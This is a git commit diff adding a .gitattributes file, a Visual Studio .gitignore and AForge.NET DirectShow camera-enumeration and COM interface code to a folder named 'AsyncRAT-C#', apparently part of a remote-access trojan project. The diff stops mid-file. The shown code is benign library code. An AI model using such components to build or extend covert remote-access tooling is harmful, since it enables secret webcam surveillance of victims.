Update
This commit is contained in:
parent
dc98cb4b5e
commit
5278a0b598
2
AsyncRAT-C#/.gitattributes
vendored
Normal file
2
AsyncRAT-C#/.gitattributes
vendored
Normal file
@ -0,0 +1,2 @@
|
||||
# Auto detect text files and perform LF normalization
|
||||
* text=auto
|
335
AsyncRAT-C#/.gitignore
vendored
Normal file
335
AsyncRAT-C#/.gitignore
vendored
Normal file
@ -0,0 +1,335 @@
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
##
|
||||
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
|
||||
|
||||
# User-specific files
|
||||
*.rsuser
|
||||
*.suo
|
||||
*.user
|
||||
*.userosscache
|
||||
*.sln.docstates
|
||||
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
[Rr]elease/
|
||||
[Rr]eleases/
|
||||
x64/
|
||||
x86/
|
||||
bld/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
[Ll]og/
|
||||
|
||||
# Visual Studio 2015/2017 cache/options directory
|
||||
.vs/
|
||||
Binaries/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
#wwwroot/
|
||||
|
||||
# Visual Studio 2017 auto generated files
|
||||
Generated\ Files/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
# NUNIT
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
[Rr]eleasePS/
|
||||
dlldata.c
|
||||
|
||||
# Benchmark Results
|
||||
BenchmarkDotNet.Artifacts/
|
||||
|
||||
# .NET Core
|
||||
project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
|
||||
# StyleCop
|
||||
StyleCopReport.xml
|
||||
|
||||
# Files built by Visual Studio
|
||||
*_i.c
|
||||
*_p.c
|
||||
*_h.h
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.iobj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.ipdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*_wpftmp.csproj
|
||||
*.log
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opendb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
*.VC.db
|
||||
*.VC.VC.opendb
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
*.sap
|
||||
|
||||
# Visual Studio Trace Files
|
||||
*.e2e
|
||||
|
||||
# TFS 2012 Local Workspace
|
||||
$tf/
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# JustCode is a .NET coding add-in
|
||||
.JustCode
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# AxoCover is a Code Coverage Tool
|
||||
.axoCover/*
|
||||
!.axoCover/settings.json
|
||||
|
||||
# Visual Studio code coverage results
|
||||
*.coverage
|
||||
*.coveragexml
|
||||
|
||||
# NCrunch
|
||||
_NCrunch_*
|
||||
.*crunch*.local.xml
|
||||
nCrunchTemp_*
|
||||
|
||||
# MightyMoose
|
||||
*.mm.*
|
||||
AutoTest.Net/
|
||||
|
||||
# Web workbench (sass)
|
||||
.sass-cache/
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.[Pp]ublish.xml
|
||||
*.azurePubxml
|
||||
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||
# but database connection strings (with potential passwords) will be unencrypted
|
||||
*.pubxml
|
||||
*.publishproj
|
||||
|
||||
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||
# in these scripts will be unencrypted
|
||||
PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/[Pp]ackages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
!**/[Pp]ackages/build/
|
||||
# Uncomment if necessary however generally it will be regenerated when needed
|
||||
#!**/[Pp]ackages/repositories.config
|
||||
# NuGet v3's project.json files produces more ignorable files
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
|
||||
# Microsoft Azure Emulator
|
||||
ecf/
|
||||
rcf/
|
||||
|
||||
# Windows Store app package directories and files
|
||||
AppPackages/
|
||||
BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
*.appx
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.dbproj.schemaview
|
||||
*.jfm
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
orleans.codegen.cs
|
||||
|
||||
# Including strong name files can present a security risk
|
||||
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||
#*.snk
|
||||
|
||||
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||
#bower_components/
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file
|
||||
# to a newer Visual Studio version. Backup files are not needed,
|
||||
# because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
ServiceFabricBackup/
|
||||
*.rptproj.bak
|
||||
|
||||
# SQL Server files
|
||||
*.mdf
|
||||
*.ldf
|
||||
*.ndf
|
||||
|
||||
# Business Intelligence projects
|
||||
*.rdl.data
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
*.rptproj.rsuser
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# GhostDoc plugin setting file
|
||||
*.GhostDoc.xml
|
||||
|
||||
# Node.js Tools for Visual Studio
|
||||
.ntvs_analysis.dat
|
||||
node_modules/
|
||||
|
||||
# Visual Studio 6 build log
|
||||
*.plg
|
||||
|
||||
# Visual Studio 6 workspace options file
|
||||
*.opt
|
||||
|
||||
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||
*.vbw
|
||||
|
||||
# Visual Studio LightSwitch build output
|
||||
**/*.HTMLClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/ModelManifest.xml
|
||||
**/*.Server/GeneratedArtifacts
|
||||
**/*.Server/ModelManifest.xml
|
||||
_Pvt_Extensions
|
||||
|
||||
# Paket dependency manager
|
||||
.paket/paket.exe
|
||||
paket-files/
|
||||
|
||||
# FAKE - F# Make
|
||||
.fake/
|
||||
|
||||
# JetBrains Rider
|
||||
.idea/
|
||||
*.sln.iml
|
||||
|
||||
# CodeRush personal settings
|
||||
.cr/personal
|
||||
|
||||
# Python Tools for Visual Studio (PTVS)
|
||||
__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Cake - Uncomment if you are using it
|
||||
# tools/**
|
||||
# !tools/packages.config
|
||||
|
||||
# Tabs Studio
|
||||
*.tss
|
||||
|
||||
# Telerik's JustMock configuration file
|
||||
*.jmconfig
|
||||
|
||||
# BizTalk build output
|
||||
*.btp.cs
|
||||
*.btm.cs
|
||||
*.odx.cs
|
||||
*.xsd.cs
|
||||
|
||||
# OpenCover UI analysis results
|
||||
OpenCover/
|
||||
|
||||
# Azure Stream Analytics local run output
|
||||
ASALocalRun/
|
||||
|
||||
# MSBuild Binary and Structured Log
|
||||
*.binlog
|
||||
|
||||
# NVidia Nsight GPU debugger configuration file
|
||||
*.nvuser
|
||||
|
||||
# MFractors (Xamarin productivity tool) working folder
|
||||
.mfractor/
|
||||
|
||||
# Local History for Visual Studio
|
||||
.localhistory/
|
@ -0,0 +1,67 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
using System;
|
||||
|
||||
/// <summary>
|
||||
/// The enumeration specifies a setting on a camera.
|
||||
/// </summary>
|
||||
public enum CameraControlProperty
|
||||
{
|
||||
/// <summary>
|
||||
/// Pan control.
|
||||
/// </summary>
|
||||
Pan = 0,
|
||||
/// <summary>
|
||||
/// Tilt control.
|
||||
/// </summary>
|
||||
Tilt,
|
||||
/// <summary>
|
||||
/// Roll control.
|
||||
/// </summary>
|
||||
Roll,
|
||||
/// <summary>
|
||||
/// Zoom control.
|
||||
/// </summary>
|
||||
Zoom,
|
||||
/// <summary>
|
||||
/// Exposure control.
|
||||
/// </summary>
|
||||
Exposure,
|
||||
/// <summary>
|
||||
/// Iris control.
|
||||
/// </summary>
|
||||
Iris,
|
||||
/// <summary>
|
||||
/// Focus control.
|
||||
/// </summary>
|
||||
Focus
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The enumeration defines whether a camera setting is controlled manually or automatically.
|
||||
/// </summary>
|
||||
[Flags]
|
||||
public enum CameraControlFlags
|
||||
{
|
||||
/// <summary>
|
||||
/// No control flag.
|
||||
/// </summary>
|
||||
None = 0x0,
|
||||
/// <summary>
|
||||
/// Auto control Flag.
|
||||
/// </summary>
|
||||
Auto = 0x0001,
|
||||
/// <summary>
|
||||
/// Manual control Flag.
|
||||
/// </summary>
|
||||
Manual = 0x0002
|
||||
}
|
||||
}
|
@ -0,0 +1,193 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
using AForge.Video.DirectShow.Internals;
|
||||
|
||||
/// <summary>
|
||||
/// DirectShow filter information.
|
||||
/// </summary>
|
||||
///
|
||||
public class FilterInfo : IComparable
|
||||
{
|
||||
/// <summary>
|
||||
/// Filter name.
|
||||
/// </summary>
|
||||
public string Name { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Filters's moniker string.
|
||||
/// </summary>
|
||||
///
|
||||
public string MonikerString { get; private set; }
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="FilterInfo"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="monikerString">Filters's moniker string.</param>
|
||||
///
|
||||
public FilterInfo( string monikerString )
|
||||
{
|
||||
MonikerString = monikerString;
|
||||
Name = GetName( monikerString );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="FilterInfo"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="moniker">Filter's moniker object.</param>
|
||||
///
|
||||
internal FilterInfo( IMoniker moniker )
|
||||
{
|
||||
MonikerString = GetMonikerString( moniker );
|
||||
Name = GetName( moniker );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Compare the object with another instance of this class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="value">Object to compare with.</param>
|
||||
///
|
||||
/// <returns>A signed number indicating the relative values of this instance and <b>value</b>.</returns>
|
||||
///
|
||||
public int CompareTo( object value )
|
||||
{
|
||||
FilterInfo f = (FilterInfo) value;
|
||||
|
||||
if ( f == null )
|
||||
return 1;
|
||||
|
||||
return ( this.Name.CompareTo( f.Name ) );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Create an instance of the filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="filterMoniker">Filter's moniker string.</param>
|
||||
///
|
||||
/// <returns>Returns filter's object, which implements <b>IBaseFilter</b> interface.</returns>
|
||||
///
|
||||
/// <remarks>The returned filter's object should be released using <b>Marshal.ReleaseComObject()</b>.</remarks>
|
||||
///
|
||||
public static object CreateFilter( string filterMoniker )
|
||||
{
|
||||
// filter's object
|
||||
object filterObject = null;
|
||||
// bind context and moniker objects
|
||||
IBindCtx bindCtx = null;
|
||||
IMoniker moniker = null;
|
||||
|
||||
int n = 0;
|
||||
|
||||
// create bind context
|
||||
if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 )
|
||||
{
|
||||
// convert moniker`s string to a moniker
|
||||
if ( Win32.MkParseDisplayName( bindCtx, filterMoniker, ref n, out moniker ) == 0 )
|
||||
{
|
||||
// get device base filter
|
||||
Guid filterId = typeof( IBaseFilter ).GUID;
|
||||
moniker.BindToObject( null, null, ref filterId, out filterObject );
|
||||
|
||||
Marshal.ReleaseComObject( moniker );
|
||||
}
|
||||
Marshal.ReleaseComObject( bindCtx );
|
||||
}
|
||||
return filterObject;
|
||||
}
|
||||
|
||||
//
|
||||
// Get moniker string of the moniker
|
||||
//
|
||||
private string GetMonikerString( IMoniker moniker )
|
||||
{
|
||||
string str;
|
||||
moniker.GetDisplayName( null, null, out str );
|
||||
return str;
|
||||
}
|
||||
|
||||
//
|
||||
// Get filter name represented by the moniker
|
||||
//
|
||||
private string GetName( IMoniker moniker )
|
||||
{
|
||||
Object bagObj = null;
|
||||
IPropertyBag bag = null;
|
||||
|
||||
try
|
||||
{
|
||||
Guid bagId = typeof( IPropertyBag ).GUID;
|
||||
// get property bag of the moniker
|
||||
moniker.BindToStorage( null, null, ref bagId, out bagObj );
|
||||
bag = (IPropertyBag) bagObj;
|
||||
|
||||
// read FriendlyName
|
||||
object val = "";
|
||||
int hr = bag.Read( "FriendlyName", ref val, IntPtr.Zero );
|
||||
if ( hr != 0 )
|
||||
Marshal.ThrowExceptionForHR( hr );
|
||||
|
||||
// get it as string
|
||||
string ret = (string) val;
|
||||
if ( ( ret == null ) || ( ret.Length < 1 ) )
|
||||
throw new ApplicationException( );
|
||||
|
||||
return ret;
|
||||
}
|
||||
catch ( Exception )
|
||||
{
|
||||
return "";
|
||||
}
|
||||
finally
|
||||
{
|
||||
// release all COM objects
|
||||
bag = null;
|
||||
if ( bagObj != null )
|
||||
{
|
||||
Marshal.ReleaseComObject( bagObj );
|
||||
bagObj = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
// Get filter name represented by the moniker string
|
||||
//
|
||||
private string GetName( string monikerString )
|
||||
{
|
||||
IBindCtx bindCtx = null;
|
||||
IMoniker moniker = null;
|
||||
String name = "";
|
||||
int n = 0;
|
||||
|
||||
// create bind context
|
||||
if ( Win32.CreateBindCtx( 0, out bindCtx ) == 0 )
|
||||
{
|
||||
// convert moniker`s string to a moniker
|
||||
if ( Win32.MkParseDisplayName( bindCtx, monikerString, ref n, out moniker ) == 0 )
|
||||
{
|
||||
// get device name
|
||||
name = GetName( moniker );
|
||||
|
||||
Marshal.ReleaseComObject( moniker );
|
||||
moniker = null;
|
||||
}
|
||||
Marshal.ReleaseComObject( bindCtx );
|
||||
bindCtx = null;
|
||||
}
|
||||
return name;
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,138 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow
|
||||
{
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Runtime.InteropServices.ComTypes;
|
||||
using AForge.Video.DirectShow.Internals;
|
||||
|
||||
/// <summary>
|
||||
/// Collection of filters' information objects.
|
||||
/// </summary>
|
||||
///
|
||||
/// <remarks><para>The class allows to enumerate DirectShow filters of specified category. For
|
||||
/// a list of categories see <see cref="FilterCategory"/>.</para>
|
||||
///
|
||||
/// <para>Sample usage:</para>
|
||||
/// <code>
|
||||
/// // enumerate video devices
|
||||
/// videoDevices = new FilterInfoCollection( FilterCategory.VideoInputDevice );
|
||||
/// // list devices
|
||||
/// foreach ( FilterInfo device in videoDevices )
|
||||
/// {
|
||||
/// // ...
|
||||
/// }
|
||||
/// </code>
|
||||
/// </remarks>
|
||||
///
|
||||
public class FilterInfoCollection : CollectionBase
|
||||
{
|
||||
/// <summary>
|
||||
/// Initializes a new instance of the <see cref="FilterInfoCollection"/> class.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="category">Guid of DirectShow filter category. See <see cref="FilterCategory"/>.</param>
|
||||
///
|
||||
/// <remarks>Build collection of filters' information objects for the
|
||||
/// specified filter category.</remarks>
|
||||
///
|
||||
public FilterInfoCollection( Guid category )
|
||||
{
|
||||
CollectFilters( category );
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Get filter information object.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="index">Index of filter information object to retrieve.</param>
|
||||
///
|
||||
/// <returns>Filter information object.</returns>
|
||||
///
|
||||
public FilterInfo this[int index]
|
||||
{
|
||||
get
|
||||
{
|
||||
return ( (FilterInfo) InnerList[index] );
|
||||
}
|
||||
}
|
||||
|
||||
// Collect filters of specified category
|
||||
private void CollectFilters( Guid category )
|
||||
{
|
||||
object comObj = null;
|
||||
ICreateDevEnum enumDev = null;
|
||||
IEnumMoniker enumMon = null;
|
||||
IMoniker[] devMon = new IMoniker[1];
|
||||
int hr;
|
||||
|
||||
try
|
||||
{
|
||||
// Get the system device enumerator
|
||||
Type srvType = Type.GetTypeFromCLSID( Clsid.SystemDeviceEnum );
|
||||
if ( srvType == null )
|
||||
throw new ApplicationException( "Failed creating device enumerator" );
|
||||
|
||||
// create device enumerator
|
||||
comObj = Activator.CreateInstance( srvType );
|
||||
enumDev = (ICreateDevEnum) comObj;
|
||||
|
||||
// Create an enumerator to find filters of specified category
|
||||
hr = enumDev.CreateClassEnumerator( ref category, out enumMon, 0 );
|
||||
if ( hr != 0 )
|
||||
throw new ApplicationException( "No devices of the category" );
|
||||
|
||||
// Collect all filters
|
||||
IntPtr n = IntPtr.Zero;
|
||||
while ( true )
|
||||
{
|
||||
// Get next filter
|
||||
hr = enumMon.Next( 1, devMon, n );
|
||||
if ( ( hr != 0 ) || ( devMon[0] == null ) )
|
||||
break;
|
||||
|
||||
// Add the filter
|
||||
FilterInfo filter = new FilterInfo( devMon[0] );
|
||||
InnerList.Add( filter );
|
||||
|
||||
// Release COM object
|
||||
Marshal.ReleaseComObject( devMon[0] );
|
||||
devMon[0] = null;
|
||||
}
|
||||
|
||||
// Sort the collection
|
||||
InnerList.Sort( );
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
// release all COM objects
|
||||
enumDev = null;
|
||||
if ( comObj != null )
|
||||
{
|
||||
Marshal.ReleaseComObject( comObj );
|
||||
comObj = null;
|
||||
}
|
||||
if ( enumMon != null )
|
||||
{
|
||||
Marshal.ReleaseComObject( enumMon );
|
||||
enumMon = null;
|
||||
}
|
||||
if ( devMon[0] != null )
|
||||
{
|
||||
Marshal.ReleaseComObject( devMon[0] );
|
||||
devMon[0] = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,81 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2013
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// The IAMCameraControl interface controls camera settings such as zoom, pan, aperture adjustment,
|
||||
/// or shutter speed. To obtain this interface, query the filter that controls the camera.
|
||||
/// </summary>
|
||||
[ComImport,
|
||||
Guid( "C6E13370-30AC-11d0-A18C-00A0C9118956" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IAMCameraControl
|
||||
{
|
||||
/// <summary>
|
||||
/// Gets the range and default value of a specified camera property.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="Property">Specifies the property to query.</param>
|
||||
/// <param name="pMin">Receives the minimum value of the property.</param>
|
||||
/// <param name="pMax">Receives the maximum value of the property.</param>
|
||||
/// <param name="pSteppingDelta">Receives the step size for the property.</param>
|
||||
/// <param name="pDefault">Receives the default value of the property. </param>
|
||||
/// <param name="pCapsFlags">Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetRange(
|
||||
[In] CameraControlProperty Property,
|
||||
[Out] out int pMin,
|
||||
[Out] out int pMax,
|
||||
[Out] out int pSteppingDelta,
|
||||
[Out] out int pDefault,
|
||||
[Out] out CameraControlFlags pCapsFlags
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Sets a specified property on the camera.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="Property">Specifies the property to set.</param>
|
||||
/// <param name="lValue">Specifies the new value of the property.</param>
|
||||
/// <param name="Flags">Specifies the desired control setting, as a member of the CameraControlFlags enumeration.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Set(
|
||||
[In] CameraControlProperty Property,
|
||||
[In] int lValue,
|
||||
[In] CameraControlFlags Flags
|
||||
);
|
||||
|
||||
/// <summary>
|
||||
/// Gets the current setting of a camera property.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="Property">Specifies the property to retrieve.</param>
|
||||
/// <param name="lValue">Receives the value of the property.</param>
|
||||
/// <param name="Flags">Receives a member of the CameraControlFlags enumeration.
|
||||
/// The returned value indicates whether the setting is controlled manually or automatically.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Get(
|
||||
[In] CameraControlProperty Property,
|
||||
[Out] out int lValue,
|
||||
[Out] out CameraControlFlags Flags
|
||||
);
|
||||
}
|
||||
}
|
@ -0,0 +1,88 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
// http://www.aforgenet.com/framework/
|
||||
//
|
||||
// Copyright © AForge.NET, 2009-2012
|
||||
// contacts@aforgenet.com
|
||||
//
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
/// <summary>
|
||||
/// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter.
|
||||
/// </summary>
|
||||
[ComImport, System.Security.SuppressUnmanagedCodeSecurity,
|
||||
Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IAMCrossbar
|
||||
{
|
||||
/// <summary>
|
||||
/// Retrieves the number of input and output pins on the crossbar filter.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPinCount">Variable that receives the number of output pins.</param>
|
||||
/// <param name="inputPinCount">Variable that receives the number of input pins.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount );
|
||||
|
||||
/// <summary>
|
||||
/// Queries whether a specified input pin can be routed to a specified output pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
|
||||
/// <param name="inputPinIndex">Specifies the index of input pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex );
|
||||
|
||||
/// <summary>
|
||||
/// Routes an input pin to an output pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
|
||||
/// <param name="inputPinIndex">Specifies the index of the input pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int Route( [In] int outputPinIndex, [In] int inputPinIndex );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the input pin that is currently routed to the specified output pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="outputPinIndex">Specifies the index of the output pin.</param>
|
||||
/// <param name="inputPinIndex">Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves information about a specified pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="isInputPin">Specifies the direction of the pin. Use one of the following values.</param>
|
||||
/// <param name="pinIndex">Specifies the index of the pin.</param>
|
||||
/// <param name="pinIndexRelated">Variable that receives the index of the related pin, or –1 if no pin is related to this pin.</param>
|
||||
/// <param name="physicalType">Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int get_CrossbarPinInfo(
|
||||
[In, MarshalAs( UnmanagedType.Bool )] bool isInputPin,
|
||||
[In] int pinIndex,
|
||||
[Out] out int pinIndexRelated,
|
||||
[Out] out PhysicalConnectorType physicalType );
|
||||
}
|
||||
}
|
@ -0,0 +1,74 @@
|
||||
// AForge Direct Show Library
|
||||
// AForge.NET framework
|
||||
//
|
||||
// Copyright © Andrew Kirillov, 2008
|
||||
// andrew.kirillov@gmail.com
|
||||
//
|
||||
|
||||
namespace AForge.Video.DirectShow.Internals
|
||||
{
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
/// <summary>
|
||||
/// This interface sets the output format on certain capture and compression filters,
|
||||
/// for both audio and video.
|
||||
/// </summary>
|
||||
///
|
||||
[ComImport,
|
||||
Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ),
|
||||
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||
internal interface IAMStreamConfig
|
||||
{
|
||||
/// <summary>
|
||||
/// Set the output format on the pin.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType">Media type to set.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieves the audio or video stream's format.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="mediaType">Retrieved media type.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieve the number of format capabilities that this pin supports.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="count">Variable that receives the number of format capabilities.</param>
|
||||
/// <param name="size">Variable that receives the size of the configuration structure in bytes.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetNumberOfCapabilities( out int count, out int size );
|
||||
|
||||
/// <summary>
|
||||
/// Retrieve a set of format capabilities.
|
||||
/// </summary>
|
||||
///
|
||||
/// <param name="index">Specifies the format capability to retrieve, indexed from zero.</param>
|
||||
/// <param name="mediaType">Retrieved media type.</param>
|
||||
/// <param name="streamConfigCaps">Byte array, which receives information about capabilities.</param>
|
||||
///
|
||||
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||
///
|
||||
[PreserveSig]
|
||||
int GetStreamCaps(
|
||||
[In] int index,
|
||||
[Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType,
|
||||
